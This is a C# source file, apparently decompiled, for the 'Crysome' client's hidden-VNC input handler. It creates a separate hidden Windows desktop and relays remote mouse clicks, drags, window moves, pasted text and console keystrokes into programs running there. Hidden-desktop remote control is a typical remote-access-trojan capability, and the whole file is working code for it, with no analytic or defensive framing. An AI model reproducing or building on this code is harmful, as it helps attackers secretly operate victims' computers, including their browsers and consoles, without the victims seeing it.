470 lines
11 KiB
C#
470 lines
11 KiB
C#
using System;
|
|
using System.Diagnostics;
|
|
using System.Runtime.InteropServices;
|
|
using System.Text;
|
|
|
|
namespace Crysome.Client.Hvnc;
|
|
|
|
public class HvncInputHandler : IDisposable
|
|
{
|
|
[StructLayout(LayoutKind.Explicit, CharSet = CharSet.Unicode)]
|
|
private struct KEY_EVENT_RECORD
|
|
{
|
|
[FieldOffset(0)]
|
|
public int bKeyDown;
|
|
|
|
[FieldOffset(4)]
|
|
public ushort wRepeatCount;
|
|
|
|
[FieldOffset(6)]
|
|
public ushort wVirtualKeyCode;
|
|
|
|
[FieldOffset(8)]
|
|
public ushort wVirtualScanCode;
|
|
|
|
[FieldOffset(10)]
|
|
public char UnicodeChar;
|
|
|
|
[FieldOffset(12)]
|
|
public uint dwControlKeyState;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Explicit)]
|
|
private struct INPUT_RECORD
|
|
{
|
|
[FieldOffset(0)]
|
|
public ushort EventType;
|
|
|
|
[FieldOffset(2)]
|
|
public KEY_EVENT_RECORD KeyEvent;
|
|
}
|
|
|
|
private Utils.POINT lastPoint = new Utils.POINT
|
|
{
|
|
x = 0,
|
|
y = 0
|
|
};
|
|
|
|
private IntPtr hResMoveWindow = IntPtr.Zero;
|
|
|
|
private IntPtr resMoveType = IntPtr.Zero;
|
|
|
|
private bool lmouseDown;
|
|
|
|
private static object lockObject = new object();
|
|
|
|
private string DesktopName;
|
|
|
|
public IntPtr Desktop = IntPtr.Zero;
|
|
|
|
private const int STD_INPUT_HANDLE = -10;
|
|
|
|
private const ushort KEY_EVENT = 1;
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
private static extern bool AttachConsole(uint dwProcessId);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
private static extern bool FreeConsole();
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
private static extern IntPtr GetStdHandle(int nStdHandle);
|
|
|
|
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
|
private static extern bool WriteConsoleInput(IntPtr hConsoleInput, INPUT_RECORD[] lpBuffer, uint nLength, out uint lpNumberOfEventsWritten);
|
|
|
|
[DllImport("user32.dll")]
|
|
private static extern uint MapVirtualKey(uint uCode, uint uMapType);
|
|
|
|
private static bool TrySendConsoleInput(IntPtr hWnd, uint vk, char ch)
|
|
{
|
|
try
|
|
{
|
|
Utils.GetWindowThreadProcessId(hWnd, out var ProcessId);
|
|
if (ProcessId == 0)
|
|
{
|
|
return false;
|
|
}
|
|
if (!AttachConsole(ProcessId))
|
|
{
|
|
return false;
|
|
}
|
|
try
|
|
{
|
|
IntPtr stdHandle = GetStdHandle(-10);
|
|
if (stdHandle == IntPtr.Zero || stdHandle == new IntPtr(-1))
|
|
{
|
|
return false;
|
|
}
|
|
ushort wVirtualScanCode = (ushort)MapVirtualKey(vk, 0u);
|
|
INPUT_RECORD iNPUT_RECORD = new INPUT_RECORD
|
|
{
|
|
EventType = 1,
|
|
KeyEvent = new KEY_EVENT_RECORD
|
|
{
|
|
bKeyDown = 1,
|
|
wRepeatCount = 1,
|
|
wVirtualKeyCode = (ushort)vk,
|
|
wVirtualScanCode = wVirtualScanCode,
|
|
UnicodeChar = ch,
|
|
dwControlKeyState = 0u
|
|
}
|
|
};
|
|
INPUT_RECORD iNPUT_RECORD2 = new INPUT_RECORD
|
|
{
|
|
EventType = 1,
|
|
KeyEvent = new KEY_EVENT_RECORD
|
|
{
|
|
bKeyDown = 0,
|
|
wRepeatCount = 1,
|
|
wVirtualKeyCode = (ushort)vk,
|
|
wVirtualScanCode = wVirtualScanCode,
|
|
UnicodeChar = ch,
|
|
dwControlKeyState = 0u
|
|
}
|
|
};
|
|
WriteConsoleInput(stdHandle, new INPUT_RECORD[2] { iNPUT_RECORD, iNPUT_RECORD2 }, 2u, out var _);
|
|
return true;
|
|
}
|
|
finally
|
|
{
|
|
FreeConsole();
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
return false;
|
|
}
|
|
}
|
|
|
|
private static bool IsConsoleWindow(IntPtr hWnd)
|
|
{
|
|
StringBuilder stringBuilder = new StringBuilder(64);
|
|
Utils.RealGetWindowClass(hWnd, stringBuilder, 64);
|
|
return stringBuilder.ToString() == "ConsoleWindowClass";
|
|
}
|
|
|
|
public HvncInputHandler(string DesktopName)
|
|
{
|
|
this.DesktopName = DesktopName;
|
|
IntPtr intPtr = Utils.OpenDesktop(DesktopName, 0, fInherit: true, 511u);
|
|
if (intPtr == IntPtr.Zero)
|
|
{
|
|
intPtr = Utils.CreateDesktop(DesktopName, IntPtr.Zero, IntPtr.Zero, 0, 511u, IntPtr.Zero);
|
|
}
|
|
Desktop = intPtr;
|
|
}
|
|
|
|
public void Dispose()
|
|
{
|
|
if (Desktop != IntPtr.Zero)
|
|
{
|
|
Utils.CloseDesktop(Desktop);
|
|
}
|
|
GC.Collect();
|
|
}
|
|
|
|
public static int GET_X_LPARAM(IntPtr lParam)
|
|
{
|
|
return (short)(lParam.ToInt32() & 0xFFFF);
|
|
}
|
|
|
|
public static int GET_Y_LPARAM(IntPtr lParam)
|
|
{
|
|
return (short)((lParam.ToInt32() >> 16) & 0xFFFF);
|
|
}
|
|
|
|
public static IntPtr MAKELPARAM(int lowWord, int highWord)
|
|
{
|
|
return new IntPtr((highWord << 16) | (lowWord & 0xFFFF));
|
|
}
|
|
|
|
public void ResetWindowsTopDown(IntPtr ownerhWnd)
|
|
{
|
|
IntPtr topWindow = Utils.GetTopWindow(ownerhWnd);
|
|
if (topWindow == IntPtr.Zero)
|
|
{
|
|
return;
|
|
}
|
|
IntPtr window = Utils.GetWindow(topWindow, Utils.GetWindowType.GW_HWNDLAST);
|
|
if (window == IntPtr.Zero)
|
|
{
|
|
return;
|
|
}
|
|
while (window != IntPtr.Zero)
|
|
{
|
|
if (Utils.IsWindowVisible(window))
|
|
{
|
|
Utils.SetWindowPos(window, IntPtr.Zero, 0, 0, 0, 0, 16469u);
|
|
}
|
|
window = Utils.GetWindow(window, Utils.GetWindowType.GW_HWNDPREV);
|
|
}
|
|
}
|
|
|
|
public static void SendStringToWindow(IntPtr hWnd, string text)
|
|
{
|
|
for (int i = 0; i < text.Length; i++)
|
|
{
|
|
ushort num = Utils.VkKeyScan(text[i]);
|
|
if (num != ushort.MaxValue)
|
|
{
|
|
Utils.PostMessage(hWnd, 257u, (IntPtr)num, IntPtr.Zero);
|
|
continue;
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
|
|
public Process GetProcessFromhWnd(IntPtr handle)
|
|
{
|
|
try
|
|
{
|
|
Utils.GetWindowThreadProcessId(handle, out var ProcessId);
|
|
return Process.GetProcessById((int)ProcessId);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
return null;
|
|
}
|
|
|
|
public string GetTopMostWindowName()
|
|
{
|
|
Utils.SetThreadDesktop(Desktop);
|
|
Process processFromhWnd = GetProcessFromhWnd(FindTopMostWindow());
|
|
string processName = processFromhWnd.ProcessName;
|
|
processFromhWnd.Dispose();
|
|
return processName;
|
|
}
|
|
|
|
public IntPtr FindTopMostWindow()
|
|
{
|
|
IntPtr activeWindowHandle = IntPtr.Zero;
|
|
Utils.EnumDesktopWindows(Desktop, EnumWindowsCallback, IntPtr.Zero);
|
|
return activeWindowHandle;
|
|
bool EnumWindowsCallback(IntPtr hWnd, IntPtr lParam)
|
|
{
|
|
if (Utils.IsWindowVisible(hWnd))
|
|
{
|
|
activeWindowHandle = hWnd;
|
|
}
|
|
return true;
|
|
}
|
|
}
|
|
|
|
public void PasteText(string text)
|
|
{
|
|
Utils.SetThreadDesktop(Desktop);
|
|
IntPtr intPtr = FindTopMostWindow();
|
|
if (!(intPtr == IntPtr.Zero))
|
|
{
|
|
SendStringToWindow(intPtr, text);
|
|
}
|
|
}
|
|
|
|
public void PasteFromClientClipboard()
|
|
{
|
|
IntPtr intPtr = FindTopMostWindow();
|
|
if (!(intPtr == IntPtr.Zero))
|
|
{
|
|
Utils.SendMessage(intPtr, 770u, IntPtr.Zero, IntPtr.Zero);
|
|
}
|
|
}
|
|
|
|
public void Input(uint msg, IntPtr wParam, IntPtr lParam)
|
|
{
|
|
lock (lockObject)
|
|
{
|
|
Utils.SetThreadDesktop(Desktop);
|
|
_ = IntPtr.Zero;
|
|
bool flag = false;
|
|
Utils.POINT lpPoint = default(Utils.POINT);
|
|
IntPtr intPtr;
|
|
if (msg - 256 <= 2)
|
|
{
|
|
lpPoint = lastPoint;
|
|
intPtr = Utils.WindowFromPoint(lpPoint);
|
|
if (msg == 258 && intPtr != IntPtr.Zero && IsConsoleWindow(intPtr))
|
|
{
|
|
char ch = (char)wParam.ToInt32();
|
|
uint vk = (uint)wParam.ToInt32();
|
|
TrySendConsoleInput(intPtr, vk, ch);
|
|
return;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
flag = true;
|
|
lpPoint.x = GET_X_LPARAM(lParam);
|
|
lpPoint.y = GET_Y_LPARAM(lParam);
|
|
Utils.POINT pOINT = lastPoint;
|
|
lastPoint = lpPoint;
|
|
intPtr = Utils.WindowFromPoint(lpPoint);
|
|
switch (msg)
|
|
{
|
|
case 513u:
|
|
{
|
|
lmouseDown = true;
|
|
hResMoveWindow = IntPtr.Zero;
|
|
IntPtr intPtr2 = Utils.FindWindow("Button", null);
|
|
Utils.GetWindowRect(intPtr2, out var lpRect2);
|
|
if (Utils.PtInRect(ref lpRect2, lpPoint))
|
|
{
|
|
Utils.PostMessage(intPtr2, 245u, IntPtr.Zero, IntPtr.Zero);
|
|
return;
|
|
}
|
|
StringBuilder stringBuilder = new StringBuilder(260);
|
|
Utils.RealGetWindowClass(intPtr, stringBuilder, 260);
|
|
if (stringBuilder.ToString() == "#32768")
|
|
{
|
|
IntPtr subMenu = Utils.GetSubMenu(intPtr, 0);
|
|
int num7 = Utils.MenuItemFromPoint(IntPtr.Zero, subMenu, lpPoint);
|
|
Utils.GetMenuItemID(subMenu, num7);
|
|
Utils.PostMessage(intPtr, 485u, new IntPtr(num7), IntPtr.Zero);
|
|
Utils.PostMessage(intPtr, 256u, new IntPtr(13), IntPtr.Zero);
|
|
return;
|
|
}
|
|
break;
|
|
}
|
|
case 514u:
|
|
lmouseDown = false;
|
|
switch (Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam).ToInt32())
|
|
{
|
|
case -1:
|
|
Utils.SetWindowLong(intPtr, -16, Utils.GetWindowLong(intPtr, -16) | 0x8000000);
|
|
Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam);
|
|
break;
|
|
case 8:
|
|
Utils.PostMessage(intPtr, 274u, new IntPtr(61472), IntPtr.Zero);
|
|
break;
|
|
case 9:
|
|
{
|
|
Utils.WINDOWPLACEMENT lpwndpl = default(Utils.WINDOWPLACEMENT);
|
|
lpwndpl.length = Marshal.SizeOf(lpwndpl);
|
|
Utils.GetWindowPlacement(intPtr, ref lpwndpl);
|
|
if ((lpwndpl.flags & 3) != 0)
|
|
{
|
|
Utils.PostMessage(intPtr, 274u, new IntPtr(61728), IntPtr.Zero);
|
|
}
|
|
else
|
|
{
|
|
Utils.PostMessage(intPtr, 274u, new IntPtr(61488), IntPtr.Zero);
|
|
}
|
|
break;
|
|
}
|
|
case 20:
|
|
Utils.PostMessage(intPtr, 16u, IntPtr.Zero, IntPtr.Zero);
|
|
break;
|
|
}
|
|
break;
|
|
case 512u:
|
|
if (lmouseDown)
|
|
{
|
|
if (hResMoveWindow == IntPtr.Zero)
|
|
{
|
|
resMoveType = Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam);
|
|
}
|
|
else
|
|
{
|
|
intPtr = hResMoveWindow;
|
|
}
|
|
int num = pOINT.x - lpPoint.x;
|
|
int num2 = pOINT.y - lpPoint.y;
|
|
Utils.GetWindowRect(intPtr, out var lpRect);
|
|
int num3 = lpRect.left;
|
|
int num4 = lpRect.top;
|
|
int num5 = lpRect.right - lpRect.left;
|
|
int num6 = lpRect.bottom - lpRect.top;
|
|
switch (resMoveType.ToInt32())
|
|
{
|
|
default:
|
|
return;
|
|
case 2:
|
|
num3 -= num;
|
|
num4 -= num2;
|
|
break;
|
|
case 3:
|
|
case 4:
|
|
case 5:
|
|
case 6:
|
|
case 7:
|
|
case 8:
|
|
case 9:
|
|
return;
|
|
case 10:
|
|
num3 -= num;
|
|
num5 += num;
|
|
break;
|
|
case 11:
|
|
num5 -= num;
|
|
break;
|
|
case 12:
|
|
num4 -= num2;
|
|
num6 += num2;
|
|
break;
|
|
case 13:
|
|
num4 -= num2;
|
|
num6 += num2;
|
|
num3 -= num;
|
|
num5 += num;
|
|
break;
|
|
case 14:
|
|
num4 -= num2;
|
|
num6 += num2;
|
|
num5 -= num;
|
|
break;
|
|
case 15:
|
|
num6 -= num2;
|
|
break;
|
|
case 16:
|
|
num6 -= num2;
|
|
num3 -= num;
|
|
num5 += num;
|
|
break;
|
|
case 17:
|
|
num6 -= num2;
|
|
num5 -= num;
|
|
break;
|
|
}
|
|
Utils.MoveWindow(intPtr, num3, num4, num5, num6, repaint: false);
|
|
hResMoveWindow = intPtr;
|
|
return;
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
IntPtr intPtr3 = intPtr;
|
|
IntPtr intPtr4;
|
|
do
|
|
{
|
|
intPtr4 = intPtr3;
|
|
Utils.ScreenToClient(intPtr4, ref lpPoint);
|
|
}
|
|
while (!(intPtr3 == IntPtr.Zero) && !(intPtr3 == intPtr4));
|
|
if (flag)
|
|
{
|
|
lParam = MAKELPARAM(lpPoint.x, lpPoint.y);
|
|
StringBuilder stringBuilder2 = new StringBuilder(260);
|
|
Utils.RealGetWindowClass(intPtr4, stringBuilder2, 260);
|
|
string text = stringBuilder2.ToString();
|
|
if (Utils.PostMessage(intPtr4, msg, wParam, lParam) != IntPtr.Zero)
|
|
{
|
|
switch (text)
|
|
{
|
|
case "SysTreeView32":
|
|
case "Button":
|
|
case "DirectUIHWND":
|
|
if (msg == 514 && text != "DirectUIHWND")
|
|
{
|
|
Utils.PostMessage(intPtr4, 256u, new IntPtr(13), new IntPtr(1835009));
|
|
}
|
|
break;
|
|
}
|
|
return;
|
|
}
|
|
}
|
|
Utils.PostMessage(intPtr4, msg, wParam, lParam);
|
|
}
|
|
}
|
|
}
|